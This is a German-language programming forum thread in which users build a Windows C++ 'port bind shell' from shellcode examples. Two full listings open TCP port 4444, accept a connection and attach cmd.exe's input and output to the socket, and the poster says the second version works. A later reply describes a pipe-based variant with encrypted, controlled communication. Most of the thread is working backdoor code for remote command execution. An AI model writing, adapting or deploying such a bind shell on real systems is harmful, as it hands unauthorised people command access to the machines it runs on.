Port Bind Shell



  • Hallo ich versuche gerade einen Teil von diesem Quelltext ( http://projectshellcode.com/node/23 ) in C++ zu übersetzen.

    Bis hierhin bin ich gekomme aber jetzt komm ich nicht mehr weiter 😞

    Wenn ich mit telnet auf mein Server connectet öffnet sich im Server eine Shell
    diese Shell müsste ich aber eigentlich in Telnet sehen so das ich über Telnet befehle an mein Server senden kann.

    server.cpp

    #include <windows.h>
    #include <iostream>
    using namespace std;
    
    int main()
    {
    
    long rc;
    
    SOCKET kSock;
    SOCKET client;
    int len;
    
    WSAData wsdata;
    WORD wsver=MAKEWORD(2, 0);
    int nret=WSAStartup(wsver, &wsdata);
    
    		if(nret != 0)
    		{
    
    	        	WSACleanup();
    		return -1;
    		}
    
    cout<<"init ok"<<endl;
    kSock=socket(AF_INET, SOCK_STREAM, 0);
    
    		if(kSock == INVALID_SOCKET)
    		{
    	        	cout<<"init fehler..";
    	        	return -1;
    		}
    
    cout<<"Socket initialized"<<endl;
    sockaddr_in sin;
    sin.sin_port=htons(4444);
    sin.sin_addr.s_addr=INADDR_ANY;
    sin.sin_family=AF_INET;
    
    		if(bind(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
    		{
    		        cout<<"bind fehler .. "<<endl;
    	        	WSACleanup();
    	        	return -1;
    		}
    
    cout<<"bind ok"<<endl;
    rc=listen(kSock,10);
    
                    if(rc==SOCKET_ERROR)
                    {
                            cout<<"Error "<<GetLastError();
                            system("PAUSE");
                            return 0;
                     }
    
                    else
                    {
                            cout<<"listen.."<<endl;
                    }
    
    	 client = accept(kSock,NULL,NULL);
    
             if(client==INVALID_SOCKET)
             {
                            cout<<"invalid socket ..  <<"<<WSAGetLastError();
                    	return 1;
             }
    
    PROCESS_INFORMATION pi;
    STARTUPINFO si;
    
     memset( &si, 0, sizeof( si ) );
    
     si.cb = 0x44;
    
       si.hStdInput = (HANDLE)client;
       si.hStdOutput = (HANDLE)client;
       si.hStdError = (HANDLE)client;
    
       CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );
    
    CloseHandle( pi.hProcess );
    CloseHandle( pi.hThread );
    closesocket(client);
    
    WSACleanup();
    return 0;
    }
    

    In Foren suche hab ich nur das hiergefunden:
    ( Was aber auch nichts geholfen hat )
    http://www.c-plusplus.net/forum/viewtopic-var-t-is-241041-and-highlight-is-bind+shell.html



  • Hat den da keiner eine Idee ? 😞



  • Hi

    Die grosse von

    si.cb = 0x44;
    

    sollte aber die size von sizeof(sInfo); sein.
    Bin mir jetz nicht sicher aber 0x44 sollte equ mit sizeof(sInfo);. Aber deine schreibweise ist mir zu Hardcod.

    na egal.

    Und nei das beispiel sollte höchsten dass hier ausgeben (WINXPPRSP3)

    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    und sonnst nichts, um den Pfad musst du dich selber scheren, sowie den Verzeichisswechsel steuern. etc.

    lowbyte



  • Hallo ich hab mich gestern und heute nochmal an die Port Bind Sachen rangewagt.

    Ich Poste die Lösung hier einfach mal falls wer anderes das selbe Problem hat.

    So funktioniert es :>

    Hier wurde ich noch mal auf WSASocket aufmerksam ich dachte mit Socket geht das auch aber war wohl nix. ^^

    http://archive.cert.uni-stuttgart.de/vuln-dev/2003/02/msg00013.html

    #include <Winsock2.h>   // für WSASocket
    
    #include <windows.h>
    #include <iostream>
    
    using namespace std;
    
    int main()
    {
    
    long rc;
    
    SOCKET kSock;
    SOCKET client;
    int len; 
    
    WSAData wsdata; 
    WORD wsver=MAKEWORD(2, 0);
    int nret=WSAStartup(wsver, &wsdata);
    
            if(nret != 0) 
            {
    
                    WSACleanup(); 
            return -1;
            } 
    
    cout<<"init ok"<<endl;
    
    //kSock=socket(AF_INET, SOCK_STREAM, 0);     mit socket geht es NICHT man MUSS WSASocket benutzen
    
    kSock = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
    
            if(kSock == INVALID_SOCKET) 
            { 
                    cout<<"init fehler.."; 
                    return -1;
            } 
    
    cout<<"Socket initialized"<<endl; 
    sockaddr_in sin; 
    sin.sin_port=htons(4444); 
    sin.sin_family=AF_INET;
    
            if(bind(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
    
            {
                    cout<<"bind fehler .. "<<endl; 
                    WSACleanup();
                    return -1; 
            } 
    
    cout<<"bind ok"<<endl; 
    rc=listen(kSock,10); 
    
                    if(rc==SOCKET_ERROR) 
                    { 
                            cout<<"Error "<<GetLastError(); 
                            system("PAUSE"); 
                            return 0; 
                     }
    
                    else 
                    { 
                            cout<<"listen.."<<endl; 
                    }
    
         sin. sin_addr.s_addr  = INADDR_ANY;
    
         int addr_LEN = 0x10;
         int *addrlen = &addr_LEN;
    
        client = accept(kSock, INADDR_ANY ,addrlen);
    
    PROCESS_INFORMATION pi; 
    STARTUPINFO si;
    
     memset( &si, 0, sizeof( si ) );
    
     si.cb = 0x44;
    
      //si.cb = sizeof(si.cb);    <-- geht so auch
     // 0x44 = sizeof(si.cb),
    
       si.hStdInput = (HANDLE)client;
       si.hStdOutput = (HANDLE)client;
       si.hStdError = (HANDLE)client;
    
       si.dwFlags = STARTF_USESTDHANDLES;
    
      CreateProcess( 0, "cmd.exe",
                     0, 0,
                     1, 0,
                     0, 0,
                     &si, &pi
                     );
    
    }
    


  • Hi

    Doch, mit den socket Funktionen geht es auch, man muss einfach den Output in eine unnamed Pipe leiten, danach von ihr lesen und mit send() senden.
    Ist zwar ein bisschen umständlicher doch funktioniert auch gut.
    Bei dieser Variante kannst zbsp. wen du von der Pipe gelesen hast, den Speicherblock verschlüsseln, beim senden die Integrität prüfen etc etc. was dann bei deiner Variante ein bisschen schwieriger sein dürfte.
    Vorallem kann ich die ganze Kommunikation steuern .... was aber auch alles nur Sinn macht wenn man den dazugehörigen Client schreibt.

    Sollte nur eine witere Methode sein.

    lowbyte


Anmelden zum Antworten